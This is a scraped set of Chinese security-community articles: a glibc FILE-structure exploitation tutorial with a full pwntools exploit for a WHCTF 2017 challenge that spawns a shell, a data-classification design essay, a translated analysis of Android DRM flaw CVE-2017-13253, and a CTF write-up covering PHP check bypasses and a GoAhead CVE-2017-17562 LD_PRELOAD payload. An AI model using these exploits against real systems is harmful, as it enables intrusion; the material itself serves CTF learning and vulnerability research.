: (unsigned char) (*(_fp)->_IO_write_ptr++ = (_ch)))
// 调用了__overflow
// libio/genops.h
int
__overflow (_IO_FILE *f, int ch)
{
/* This is a single-byte stream. */
if (f->_mode == 0)
_IO_fwide (f, -1);
return _IO_OVERFLOW (f, ch);
}
// 又调用了_IO_OVERFLOW，根据之前的命名法，我们应该猜到这个很接近了
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
// 依然是调用虚表函数
这一段代码估计已经把大家的汗都看出来了，我们做个总结吧：其实就一句话， **printf最终调用了虚表里的函数来完成输出任务** 。
也就是说，只要使用了printf，我们就相当于调用了虚表里的某个函数，具体哪一个还需要从源码去看，不过关于虚表的部分说到这基本也就够了，scanf的内容其实也是一样，最终都会到虚表里进行执行。
到这里，我们就解决了关于利用虚表时候的问题，那就是什么时候调用， **所以只要有输入输出，我们就可以调用到虚表的某个函数了** 。
**3. 总结一下虚表的利用方法**
因为libc中的标准输入输出函数会用到stdin，stdout和stderr几个结构体，而最终都会使用虚表函数来完成具体操作，所以如果可以操作虚表指针，就可以控制执行流。
**4. libc-2.24**
在2.24中，增加了一个虚表的检测机制，也就是虚表必须位于某一个位置以内，超过这一段就会直接被abort掉，所以这个看似美好的方法到2.24就已经用不了了。
**没了虚表，想想别的**
****
**1. 输入buf也可以搞事情**
到刚才，我们分析了虚表之前的部分，可是，我们其实是没有一直走到最底层的，因为至少得到 **read/write**
系统调用才算是真正进行了输入输出的操作，而这个操作我们并没有看到，那是因为他们都被实现在了虚表里。
现在让我们来分析一下scanf的虚表实现内容吧。这次我们少看点源码，就看看这个underflow：
int
_IO_new_file_underflow (_IO_FILE *fp)
{
_IO_ssize_t count;
#if 0
/* SysV does not make this test; take it out for compatibility */
if (fp->_flags & _IO_EOF_SEEN)
return (EOF);
#endif
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
// 只有在read_ptr < read_end的时候才会调用read，否则直接返回read_ptr
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
/* Flush all line buffered files before reading. */
/* FIXME This can/should be moved to genops ?? */
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
{
#if 0
_IO_flush_all_linebuffered ();
#else
/* We used to flush all line-buffered stream. This really isn't
required by any standard. My recollection is that
traditional Unix systems did this for stdout. stderr better
not be line buffered. So we do just that here
explicitly. --drepper */
_IO_acquire_lock (_IO_stdout);
if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
== (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (_IO_stdout, EOF);
_IO_release_lock (_IO_stdout);
#endif
}
_IO_switch_to_get_mode (fp);
/* This is very tricky. We have to adjust those
pointers before we call _IO_SYSREAD () since
we may longjump () out while waiting for
input. Those pointers may be screwed up. H.J. */
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
// 这里调用read(0, _IO_buf_base, _IO_buf_end - _IO_buf_base)
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
// read_end加上这次读所读到的字节数
fp->_IO_read_end += count;
if (count == 0)
{
/* If a stream is read to EOF, the calling application may switch active
handles. As a result, our offset cache would no longer be valid, so
unset it. */
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}
在调用underflow之前其实会进行一个 **_IO_read_ptr++** 的操作，配合上underflow，我想大家都应该能看懂这个的含义吧？
_IO_buf_base, _IO_buf_end, _IO_read_ptr, _IO_read_end
4个变量都是在_IO_FILE的结构体里的，buf_base到buf_end是一个buf，而read_ptr到read_end则比较神奇了，我猜测可能是还没有处理的部分，read_ptr在一开始和buf_base相等，输入之后read_end会指向输入之后的结尾部分，buf_end是不变的，每次输入只能输入buf_end-buf_base个size，而且只有在read_ptr >= read_end，也就是为空的时候才能够读入buf_base。
根据实际测验发现，每一次scanf似乎read_ptr都会加一，其实用到这个结论就可以了。
当然，最主要的地方还是调用read系统调用，写入的位置就在buf_base!于是如果可以更改这个值，就可以利用scanf进行任意写了！
这个手法虽然相对虚表来说限制颇多，但是至少是提供了一个任意写的方案，可以作为扩大控制能力的一种手法，算是一种新的思路。
**2. WHCTF 2017 stackoverflow**
接下来我们来看一下这种新思路的应用吧。题目来源于WHCTF 2017。
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // ST08_8@1
v3 = *MK_FP(__FS__, 40LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
input_name();
print_hint();
while ( 1 )
main_proc();
}
__int64 input_name()
{
char name; // [sp+0h] [bp-70h]@1
__int64 v2; // [sp+68h] [bp-8h]@1
v2 = *MK_FP(__FS__, 40LL);
printf("leave your name, bro:");
read_content(&name, 0x50);
printf("worrier %s, now begin your challenge", &name);
return *MK_FP(__FS__, 40LL) ^ v2;
}
__int64 __fastcall read_content(char *buf, int size)
{
__int64 result; // rax@4
__int64 v3; // rcx@4
unsigned int v4; // [sp+14h] [bp-Ch]@1
__int64 v5; // [sp+18h] [bp-8h]@1
v5 = *MK_FP(__FS__, 40LL);
v4 = read(0, buf, size);
if ( (v4 & 0x80000000) != 0 )
{
printf("Error!", buf);
exit(0);
}
result = v4;
v3 = *MK_FP(__FS__, 40LL) ^ v5;
return result;
}
__int64 print_hint()
{
__int64 v0; // ST08_8@1
v0 = *MK_FP(__FS__, 40LL);
puts("Welcome to stackoverflow challenge!!!");
puts("it is really easy");
return *MK_FP(__FS__, 40LL) ^ v0;
}
__int64 main_proc()
{
__int64 result; // rax@7
__int64 v1; // rcx@7
int size; // [sp+8h] [bp-18h]@1
int tmp_size; // [sp+Ch] [bp-14h]@1
void *v4; // [sp+10h] [bp-10h]@4
__int64 v5; // [sp+18h] [bp-8h]@1
v5 = *MK_FP(__FS__, 40LL);
printf("please input the size to trigger stackoverflow: ");
_isoc99_scanf("%d", &size);
IO_getc(stdin); // get rid of n
tmp_size = size;
while ( size > 0x300000 )
{
puts("too much bytes to do stackoverflow.");
printf("please input the size to trigger stackoverflow: ");
_isoc99_scanf("%d", &size);
IO_getc(stdin);
}
v4 = malloc(0x28uLL);
global_malloced = (char *)malloc(size + 1);
if ( !global_malloced )
{
printf("Error!");
exit(0);
}
printf("padding and ropchain: ");
read_content(global_malloced, size);
global_malloced[tmp_size] = 0; // out of bound write
result = 0LL;
v1 = *MK_FP(__FS__, 40LL) ^ v5;
return result;
}
题目有意思的地方就在于他的手法了。只能写入一个NULL的情况是非常受限制的，还是看看分析吧。
**1) 漏洞位置**
①首先是input_name存在一个没有null结尾的输入，于是可以造成泄露，效果是可以泄露出libc，这个是比较简单的地方。
②main_proc中存在一个越界写，当输入size大于0x300000的时候，tmp_size会保存，之后重新输入之后tmp_size没有更新，导致越界写。
**2) 利用思路**
问题1：越界写，且只能写入一个null，看似毫无用处，不过好在可以写入很多个null，于是malloc也可以进行多次，所以第一个任务是要能够写东西到有意义的地方，栈，堆或者libc，通过分配大地址导致堆mmap，我们可以使得分配的内容在libc之前附近的位置，于是通过越界写就可以写入libc了。
问题2：写啥？这个真的是卡了很多人的一个地方，最终的选择，是写了_IO_buf_base，这个题目比较特殊，给出的libc-2.24.so偏移有特殊性，_IO_buf_base比_IO_buf_end小1，而且_IO_buf_end地址的最低位刚好是00，于是向base写入一个00，就可以指向end，之后往end写入malloc_hook的地址，然后循环一下使read_ptr和read_end相等，再次读入，就可以写入malloc_hook了
问题3：如何扩大控制。其实控制了执行流，就比较简单了，我们找了一个read：
.text:0000000000400A23 ; 7: read_content(&name, 0x50);
.text:0000000000400A23 lea rax, [rbp+name]
.text:0000000000400A27 mov esi, 50h
.text:0000000000400A2C mov rdi, rax
.text:0000000000400A2F call read_content
这个read是input_name里的，往栈上写入内容，之后就可以进行rop了。
**3) exp**
import sys
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
DEBUG = 0
GDB = 1
libc = ELF('./libc-2.24.so')
if DEBUG:
p = process('./stackoverflow')
else:
HOST = sys.argv[1]
PORT = int(sys.argv[2])
p = remote(HOST, PORT)
def leak_libc():
p.sendline('a' * 7)
p.recvuntil('worrier ' + 'a' * 7 + 'n')
leak = ((p.recvuntil(',')[:-1]).ljust(8, 'x00'))
p.info(len(leak))
addr = u64(leak)
return addr - 0x7dd52
def main():
if GDB:
raw_input()
libc_base = leak_libc()
p.info('libc_base: {}'.format(hex(libc_base)))
p.recvuntil('stackoverflow:')
p.sendline(str(0x5c28f8 - 0x10))
p.recvuntil('stackoverflow:')
p.sendline(str(0x200000))
p.recvuntil('ropchain:')
p.send('a') # doesn't matter
p.recvuntil('stackoverflow:')
# This will be written at &_IO_buf_base
malloc_hook_end = libc_base + libc.symbols['__malloc_hook'] + 8
payload = p64(malloc_hook_end)
p.send(payload)
p.recvuntil('ropchain:')
p.send('b')
for i in range(len(payload) - 1):
p.recvuntil('stackoverflow:')
p.recvuntil('ropchain:')
p.send('x')
file_struct_left = p64(malloc_hook_end)
file_struct_left += p64(0)
file_struct_left += p64(0)
file_struct_left += p64(0)
file_struct_left += p64(0)
file_struct_left += p64(0)
file_struct_left += p32(0)
file_struct_left += p32(0x10)
file_struct_left += p64(0xffffffffffffffff)
file_struct_left += p64(0)
file_struct_left += p64(libc_base + 0x3c3770)
file_struct_left += p64(0xffffffffffffffff)
file_struct_left += p64(0)
file_struct_left += p64(libc_base + 0x3c19a0)
file_struct_left += p64(0)
file_struct_left += p64(0)
file_struct_left += p64(0)
file_struct_left += p64(0)
file_struct_left += p64(0)
file_struct_left += p64(0)
file_struct_left += p64(libc_base + 0x3be400)
payload = file_struct_left
payload = payload.ljust(0x1f0, 'x00')
payload += p64(0x400a23) # rip
p.recvuntil('stackoverflow:')
# This will be written in __malloc_hook
p.send(payload)
# Rop from here
binsh_addr = 0x0000000000602000 + 0x500
pop_rdi_ret = 0x000000000001fd7a + libc_base
pop_rsi_ret = 0x000000000001fcbd + libc_base
pop_rdx_ret = 0x0000000000001b92 + libc_base
payload = p64(pop_rdi_ret)
payload += p64(0) # fd
payload += p64(pop_rsi_ret)
payload += p64(binsh_addr) # buf
payload += p64(pop_rdx_ret)
payload += p64(0x100) # nbytes
payload += p64(libc_base + libc.symbols['read']) # read(0, binsh_addr, 0x100)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr) # system_cmd = /bin/shx00
payload += p64(libc_base + libc.symbols['system']) # system("/bin/shx00")
p.send(payload)
p.send('/bin/shx00')
p.interactive()
if __name__ == "__main__":
main()
这道题目其实就是一个写buf的手法的利用，只要能够想到用写buf的手法其实就很简单了。
**总结** **** ****
****
1.scanf和printf之类的输入输出函数最终都会调用相应虚函数完成底层操作，2.24之前可以通过更改虚表来控制执行流。
2.底层操作最终通过read等系统调用进行完成，也就是实现在虚表里，被初始化进虚表。
3.对于scanf来说，虚表实现写入的时候会使用到buf，这里的buf会在scanf时候用到，所以可以通过控制buf来达到对libc的一个任意写入，这个方法没有被2.24影响。
4.libc当中值得注意的地方还有很多，应该更多的去深入到源码去寻找这些有意思的东西。 | 社区文章 |
# 浅谈元数据安全分类分级及实现方案
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 数据分类分级概念
### 0x01.1 什么是分类分级
分类分级是指依赖于目前数据安全法相关的要求，在企业或其它有相关数据的情况下，针对数据及内容进行整理和归类并定义级别。其目的主要是为了应对如何更好的做好保护数据安全，更好的去协助数据治理相关工作，并在发生数据泄露的情况下快速进行定位危害程度等。
### 0x01.2 分类描述
根据不同的行业，对数据的分类也是有所区别；有工业领域，电商领域，政务方向等。例如：其中电商领域部分的相关数据有电商用户（账号、密码、身份等信息）、企业（员工信息、组织机构、内部合同等信息）、商业客户（基础信息、合同等信息），根据上述信息可以进行提炼和归纳出员工类、企业类、商户类等。
### 0x01.3 分级描述
数据的定级需要依据实际情况去考虑，一般会定级为1级、2级、3级、4级、5级。在一些特殊的行业中会存在更高的级别要求。拿电商行业来举例使用的是1-5级的形式进行对数据的一个分级工作。所以在做真正的分级工作中要结合实际和数据定级标准的指引下进行开展工作。
## 0x02 实现过程
### 0x02.1 简版系统设计
简述：整体为两部分源-元数据和分类分级过程；核心在分类分级的过程中有两个抽象的部分比较特殊，抽象输入和输出的模型，可以有效的进行对接不同的元数据类型，且在执行分类分级也可以便捷、统一进行处理和兼容。
### 0x02.2 应用使用方案
简述：元数据管理和分类分级是相对独立的模块。元数据管理人员主要负责管理自己的元数据，规则运营人员主要任务为制定规则向分类分级操作提供服务，应用使用人员会将元数据及规则抽象和统一化处理。
### 0x02.3 元数据管理方案
简述：元数据管理的过程中引入了元模型的概念，通过该模型对目前市场上常见的元数据类型可以进行抽象3层结构，依照3层结构达到兼容不同的元数据类型。
### 0x02.4 分类分级流程设计
简述：独立的数据中进行数据的抽象，将不同之前的数据表的数据进行组合，并抽象为内部上下文全局通用的可用的数据分类分级可用的数据对象类，同时会生成统一的对外输出的数据分类分级结果类。输入的对象类内容如下：数据源、数据驱动类型、数据库、数据表、数据字段、数据字段注释；输出对象是在输入对象的内容上增加了：分类结果，分级结果。
## 0x03 自动化分类分级
### 0x03.1 自动化规则设计
简述：创建自动化规则，首先需要配置数据源，其次为要匹配的内容，匹配之后要标记的分类和分级
### 0x03.2 自动化任务执行设计
简述：依赖于任务调度器实现自动化执行的过程，要以简化自动化相关的开发工作
## 0x04 总结
数据安全法的落地，促进各类行业在数据分类分级方向势必加大资源投入进行开展相关的工作。本篇主要为提供分类分级思路和部分解决方案，在实际的过程需要根据行业的特点进行落地和平台化建设。 | 社区文章 |
# CVE-2017-13253：多个Android DRM服务中存在缓冲区溢出漏洞
|
##### 译文声明
本文是翻译文章，文章原作者 @tamir_zb，文章来源：blog.zimperium.com
原文地址：<https://blog.zimperium.com/cve-2017-13253-buffer-overflow-multiple-android-drm-services/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近期，我们在进行Zimperium zLabs平台的研究过程中，披露了一个缓冲区溢出漏洞，该漏洞影响到Google的多个Android
DRM服务。在我们提交漏洞情况之后，Google将其定级为高危，并指定了CVE-2017-13253编号，该漏洞已经在2018年3月份的安全更新中实现了修复。
在本文，我们将介绍该漏洞的详细信息。首先会介绍相关背景信息，包括常规的Android运行机制和与该漏洞相关的机制。我们将重点介绍最近推出的treble计划以及其意义。随后，将研究如何利用某些设备上的其他故障来修复该漏洞，以此获得root权限。最后，我们将一同研究该漏洞的成因，并探究该漏洞的缓解与防范方式。尽管Google声称Treble计划能增强安全性，但我们还是看到了它的不足之处。
请读者注意，在本篇文章之中，我们将详细介绍大量与该漏洞相关的背景信息。如果您已经拥有Binder和libbinder的使用经验，可以跳过第一部分，直接从具体的漏洞分析开始阅读。
## Android的Binder与安全
在包括Android在内的许多操作系统中，为了实现进程之间通信（IPC），都使用了一种常见的安全模型。借助该模型，在非特权进程中运行的不可信代码可以与特权进程（服务）进行通信，并要求它们执行操作系统允许的制定操作。该模型依赖于服务与IPC机制自身，可以正确验证来自非特权进程的每一个输入。但是反之，这也意味着这些服务中一旦出现错误，特别是输入验证部分的错误非常容易导致漏洞。
举例来说，Rani Idan在Zimperium发现的最新iOS漏洞（
<https://blog.zimperium.com/cve-2018-4087-poc-escaping-sandbox-misleading-bluetoothd/> ）就属于上述方法。在IPS输入验证中存在一个问题，从而允许攻击者从非特权应用程序执行具有更高权限的代码。
在Android系统中，IPC机制被称为Binder。Android Binder服务的安全性一直是许多漏洞研究者的一个研究方向（
<https://www.blackhat.com/docs/asia-16/materials/asia-16-He-Hey-Your-Parcel-Looks-Bad-Fuzzing-And-Exploiting-Parcelization-Vulnerabilities-In-Android-wp.pdf>
）。Binder具有非常多有用的功能。举例来说，它允许进程之间传输文件描述符或对其他Binder服务的引用等较为复杂的对象。为了保持简洁和良好性能，Binder佳你给每个事务都限制在1MB大小之内。如果进程需要传输大量数据，可以使用共享内存来实现快速共享数据。
## Binder的C++库
Android的Binder库（libbinder）为依赖于Binder的C++代码提供了很多抽象，从而可以允许调用C++类的远程实例的方法。
只要是使用了此类机制的对象，都会在预定义的结构中，实现了下面的几个类：
1、一个接口类，定义了可以通过Binder调用的对象的方法，以“I”为前缀；
2、负责序列化输入和反序列化输出的“客户端”类，以“Bp”为前缀；
3、负责反序列化输入和序列化输出的“服务器端”类，以“Bn”为前缀。
最终，在使用该对象时，几乎始终是使用接口类。这样一来，就可以以相同的方式处理对象，无论其处于同一个进程中还是处于不同的进程中。、
代码中“服务器端”部分通常都位于特权服务的内部，尽管在某些情况下角色是相反的，因此通常会负责验证输入。验证代码可以从Bn*类开始，并沿着随后调用的方法继续进行。这显然是脆弱性研究过程中最有意思的部分。
## ICrypto接口和解密方法
在介绍完Binder之后，就让我们来看看与漏洞相关的具体实现。
Mediadrmserver服务（该服务负责DRM媒体）提供了一个加密对象的接口，接口名为ICrypto。
在这里需要注意，最近这一对象已经变为了CryptoHal，我们将在稍后详细讨论。
该接口通常的用途是允许非特权应用程序解密需要较高权限解密的DRM数据，比如访问TEE。受文章篇幅所限，加密相关的细节不在此次讨论范围之内，我们会将重点放在输入验证上面。
ICrypto有多种方法，但无疑最重要的方法是解密，这也正是大多数人的研究方向。
在解密签名中，最引人注意的事情之一就是输入的复杂程度。由于每个参数都通过Binder进行传输，并且需要进行验证，因此复杂的输入会导致验证代码更为复杂。也就是说，这些代码可能容易受到漏洞的影响。
我们来看一些参数：
1、Mode：这是一个控制加密模式的枚举。其中的一个模式是kMode_Unencrypted，它表示数据实际上未被加密。该模式意味着数据只会从一个地方简单地复制到另一个地方，不会涉及到任何解密。这就使得整个过程非常简单，因此从现在开始我们主要专注于这个模式。所以正如前文所说，我们不考虑加密相关的参数。
2、Source/Destination：输入和输出缓冲区。由于数据的大小可能非常大（大于1MB），实际数据就有可能通过这些对象所代表的共享内存进行传输。
3、Offset：将偏移量偏移到数据开始的输入缓冲区中。
4、subSamples/numSubSamples：一个子样本数组，其中存储与输入相关的元数据。每个子样本表示多个清空的字节，后面跟着一些加密的字节。这样一来便可以在清空和加密的输入数据之间切换。使用kMode_Unencrypted也可以简化这一部分，因为我们就只需要使用一个代表所有清空数据的子样本。
现在，我们来仔细看看源参数和目标参数的类型：
源代码请参考：<http://androidxref.com/8.0.0_r4/xref/frameworks/av/include/media/ICrypto.h#51>
。
这里的相关结构成员是mHeapSeqNum和两个mSharedMemory成员（DestinationBuffer的其余部分是在目标未被存储为共享内存的情况下，这种情况与此漏洞无关）。
堆name在这里用来指代实际的共享内存（也就是运行mmap后所得到的内容）。mHeapSeqNum是一个像这样的内存标识符，它以前使用称为setHeap的ICrypto共享方法。这两个mSharedMemory成员仅表示堆内缓冲区的偏移量和大小。这意味着，虽然mHeapSeqNum在源结构的内部，但它实际上与两者都相关。
值得注意的是，在参数结构中的某些部分有一些奇怪。mSharedMemory是一个IMemory，它实际上连接到它自己的堆，并且应该是表示内部的一个缓冲区。然而，这个堆却被忽略，其偏移量和大小都被用于mHeapSeqNum堆。在源结构中，还存在mHeapSeqNum，但它与源和目标都有关。上述内容，是最近代码发生更新造成的，这些代码是作为Treble项目中重要架构的一部分而创建的。
### Treble项目
Treble项目是在Android
8.0版本中被引入的，其主要目标是通过在AOSP和供应商之间建立明确的分隔，从而简化系统更新的过程。Google还声称，Treble项目会通过增加更多的隔离功能，从而提高Android的安全性。
对于像mediadrmserver这样的服务，引入Treble项目后就会被隔离成多个进程。负责解密的代码属于供应商，因此它会被分成多个供应商进程，称为HAL，每个供应商都负责其自己的DRM方案。
Mediadrm服务器的作用现在只剩下在相关DRM方案的应用程序和HAL进程之间传输数据。
Mediadrmserver和HAL之间的通信也建立在Binder之上，但是在不同的域中会使用不同库的格式——libhwbinder。之前提到的从Crypto到CryptoHal的变化，其原因在于现在它是一个不同的类，其唯一目的是将数据转换为libhwbinder格式，并将其传递给HAL。
在上图中，展现了Google之所以声称Treble项目有助于提升安全性的原因。由于在不同的进程中权限被分开，每个HAL只能与自己的驱动程序通信，不受信任的应用程序不会再直接与高权限进程交互。
然而，需要注意的是，从Android 8.1开始，隔离继续变回了可选项，具体取决于供应商的设定。例如，在Nexus
5X设备中，HAL都会位于mediadrmserver进程中。数据仍然会转换成HAL格式，但不会转移到其他进程。
### 加密插件
之前，我提到了不同的DRM方案。在Android官方术语中，每种DRM方案的处理程序都称为是插件，或者在一些特定情况下会被称为加密插件。供应商负责提供这些插件，但是AOSP中还有一些提供给销售商使用的有效代码。例如，AOSP包含ClearKey
DRM方案插件的完整开源实现方式。通常，设备将具有开源的ClearKey插件和闭源的Widevine插件（例如Nexus/Pixel设备）。
上述Treble项目发生变化导致的一个问题是，目前插件接收了HAL格式的数据。为了让转换过程更为简单，我们并不需要对每个插件都进行更新，默认的CryptoPlugin实现已经添加到AOSP中，可以让供应商使用。这一实现会将数据从HAL格式转换为传统的格式，并将其传递给原始插件代码。如果不出所料的话，这一解决方案只是暂时性的，后续还会对插件进行更新。否则，系统将会出现冗余格式转换的问题。
### 针对源代码的研究
在介绍ICrypto解密方法的一般过程之后，我们来仔细看看共享内存缓冲区的验证代码。正如读者可能已经猜到的那样，这正是发现漏洞的地方。
如前所述，验证通常从Bn*类开始，在我们的例子中就是ICrypto接口的“服务器端”BnCrypto。
首先，代码会检查子采样大小的总和是否有效，并确保其不会溢出。请注意，在这里是要复制的数据的大小。
它还会检查这一总和是否与totalSize匹配。通过Binder传递的另一个参数非常多余，我们可以完全通过子样本的总和来得知总大小。
接下来的检查是数据大小不能超过源缓冲区的大小。
最后，它还会检查数据大小加上偏移量之后是否仍然不超过源缓冲区。
在这里，CryptoHal会将数据转换为HAL格式并发送给相关的插件，这里并没有有趣的验证代码。
接下来，默认的Crypto Plugin实现会将数据转换回传统格式，并继续对其进行验证。
通过仔细阅读这个代码，我发现代码中有一些混乱。其中有多个“dest”和“source”变量，但实质上sourceBase与destBase是完全相同的，并且没有任何注释能帮助我们理解。考虑到Android
8.0中进行了相应更新，所以我非常怀疑是这一更新导致了该漏洞的存在，使得整个验证代码工作更为完整。
在这里，首先要检查偏移量与缓冲区大小的总和应该不超过堆大小。SourceBase是堆，而源是之前的source.mSharedMemory。如果读者对两个偏移量比较困惑，记住mSharedMemory包含一个偏移量，并且解密方法也有一个不同的偏移量参数。
其他的检查与上述类似，但是是在目标缓冲区上进行。destBuffer的堆与destination.mSharedMemory相同，只是这次不涉及到偏移量参数。
在最后，每个缓冲区都会简化为一个指向内存的指针，而偏移量现在是指针的一部分，缓冲区大小则被省略。为了确定数据大小，插件使用subSamples数组。
上述代码展现了最后一部分，希望能帮助读者们理解相关的流程。当数据未加密时，它只是从一个地方复制到另一个地方。
截至目前，我已经提供了挖掘漏洞所需的足够信息，理论上大家可以按照我的上述内容去发现这个漏洞。
## 漏洞详情
该漏洞的原因在于，没有验证被复制的数据是否超过了目标缓冲区。由于该过程中只对源缓冲区进行了一次检查，对目标缓冲区进行检查默认是Crypto
Plugin的第二次检查，确保缓冲区位于堆内并且不超过边界，但这是远远不够的。
我们来看一个例子。假设我们要复制的数据大小为0x1000。由于这个大小是由subsamples数组表示的，因此在该数组中将会有一个条目，其中包含0x1000个字节（以及0个加密字节）。堆的大小也是0x1000字节，源缓冲区将指向整个堆（偏移量
= 0，大小 =
0x1000）。目标缓冲区是出现问题的地方，我们假设偏移量是0x800，大小为0x800，这仍然可以通过默认加密插件的检查。但在这种情况下会出现溢出的情况，0x800字节将被写入在堆的后面。
### PoC
请注意，MemoryBase对象是IMemory
libbinder接口的实现。这是一个使用Binder将引用传递给其他Binder对象的例子。这也是Binder角色反过来的一个例子。特权流程是“客户端”，因此它会通过Binder请求信息，并对其进行验证。
### 漏洞产生的影响
该漏洞允许攻击者使用任意数据覆盖目标进程中的内存。由于这是内存页级别的溢出，因此暂时没有任何缓解措施可以阻止这一漏洞的利用。由于默认Crypto
Plugin的检查，数据必须从共享内存开始，这一点仍然受到限制。这也就意味着，只有位于共享内存之后的内存才可以被覆盖。此外，内存中的许多部分通常是未分配或不允许写入的，如果尝试在其中进行写入将导致出现段错误。
受影响的进程取决于供应商的设置。如果供应商不将HAL分成不同的进程，那么mediadrmserver会受到影响；如果供应商将它们分开，那么Crypto
Plugin的每个HAL服务都会受到影响。由于默认的Crypto
Plugin代码仅仅会留下指向目标缓冲区的指针，并且大小仅有子样本决定，供应商的代码并不能发现它接收到了格式错误的数据。这一点说明，供应商编写的这一部分代码仍然是脆弱的。理论上，供应商可能会忽略AOSP的默认加密插件代码，并利用自己的代码来检测格式错误的数据，但实际上，我没有发现任何供应商能这么做。
### 可能产生的影响
假设攻击者设法利用此漏洞将特权提升为易受攻击服务的特权，那么让我们来看看他可以实现的功能。请注意，这部分大多是推测性的。我没有编写漏洞利用表，但是我对于如何借助该漏洞升到具有完整root权限有一些思路。
现在，就是Android的SELinux规则发挥作用的地方。即使易受攻击的服务拥有更多的权限，SELinux仍会严重限制它们。尽管如此，即使在限制之后，我们仍然留下了一个非常有趣的权限：完全访问TEE设备。
在这种情况下，
Treble项目的额外隔离几乎没有任何作用。易受攻击的进程将是可以访问TEE设备的进程，无论是否它存在分离到多个进程。在分离的情况下保护的唯一过程是中介服务器。
那么，我们可以通过完全访问TEE来做些什么？ 根据Gal
Beniamini的研究表明，许多设备无法正确吊销旧的易受攻击的TEE信任。这意味着，如果我们攻击具有旧的易受攻击的Trustlet的设备，则可以使用TEE设备的访问权限，加载Trustlet并将其用于TEE上的代码执行。更重要的是，Gal
Benimaini此前也展示过基于Qualcomm设备的TEE代码执行如何实现root特权。
### 漏洞成因
前面，我已经多次提到Treble项目中是如何对代码的部分区域进行重大修改。在修改之前，目标缓冲区甚至无法以这样的格式设置。就在这一修改之后，引入了此漏洞。
正如前文所说，重构的这部分代码中，有很多地方都比较混乱，也存在一些冗余的内容。尽管代码混乱或出现冗余并不一定会使代码易受攻击，但它确实提高了这种可能性，因为它使代码更难以审计。因此，虽然有时我们难以发现漏洞，但却更容易发现混乱或冗余的代码。尽管我深知，与实际编写出好的代码相比，对不好的代码进行批评是更加容易的，但我要坚持提出，我认为这部分的代码应该进行改进。
## 结论
尽管Google声称，Treble项目有助于提升Android的安全性，但在这个例子中却完全相反。Treble项目本身并没有什么问题，但关键问题是其实现的过程处理的不是非常好。
大家可以在GitHub上面找到触发漏洞的PoC的完整源代码，同时还有一些额外的信息。
## 时间线
2017年12月20日 发现漏洞
2017年12月28日 将漏洞详情和PoC提交给Google
2017年12月29日 收到Google的初步回应
2018年3月5日 Google发布补丁 | 社区文章 |
## 前言
渣渣一枚，萌新一个，划了安恒杯秋季选拔赛，题目扎心(Orz.jpg）
个人写的writrup大佬轻喷(QAQ)
### 一：奇怪的恐龙特性
这是我做的第一题，感觉还可以一道代码审计的题目，发现了一个我以前没见过的知识点，可以详细看看这个链接
<https://bugs.shuimugan.com/bug/view?bug_no=64792>
从上面可以看出，简单点解释就是当代码中存在`$_REQUEST['user_id']`里面类似的参数的时候，我们在`url`上可以这样`a.php?user.id`
传参去进行绕过,这样进去之后也能表示`$_REQUEST['user_id']`的值，同样可以绕过的符号还有`+``.``[`
等，应该说是`php`的一个小特性，上面讲的很清楚了
<?php
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
echo 'A_A,have fun';
}
elseif ($str<9999999999) {
echo 'A_A,too small';
}
elseif ((string)$str>0) {
echo 'A_A,too big';
}
else{
echo file_get_contents('flag.php');
}
?>
阅读代码发现，首先第一步要绕过`A_A`这个符号，如果出现这个符号他就会显示`A_A,have
fun`，就不能继续往下面执行到`file_get_contents('flag.php')`了，
但是我们发送`get`参数的时候又必须要发送，因此我们就用到刚才的知识点，我们可以用`A.A`或者是`A+A`去传参去绕过。
下面的代码就是常规的数字绕过了，但这里也用到了一个`trick`，就是无论你的数字多大，对于数组而言总是比数组小，下面是操作
所以说，我们可以利用数组去绕过`$str<9999999999`的特性，下面一个判断是强制转化为字符串在与数字比较的判断，
这就是平常操作很多的弱类型了，直接让参数等于`admin`就可以了，因为`“admin”== 0`
，结果是`true`，直接等于0绕过即可,所以这题的`payload`
http://114.55.36.69:8022/?A.A[]=admin
或者使用
http://114.55.36.69:8022/?A+A[]=admin
然后查看源代码就会得到：`flag={09bc24026c987ae44a6e424479b2e3}`
### 二：GOGOGO
这题拿到题目发现无法访问，扫了下端口，发现是8080端口开放
进去后可以看见Hello gogogo
感觉没什么用，抓了个包看看，发现是goahead
于是搜了一波，发现有CVE:
GoAhead服务器 远程命令执行漏洞(CVE-2017-17562)
附上Freebuf的一篇文章<http://www.freebuf.com/vuls/158089.html>
漏洞利用也非常简单
payload.c
# PoC/payload.c
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World!\n", 14);
}
然后gcc成so文件：`gcc -shared -fPIC ./payload.c -o payload.so`
然后攻击
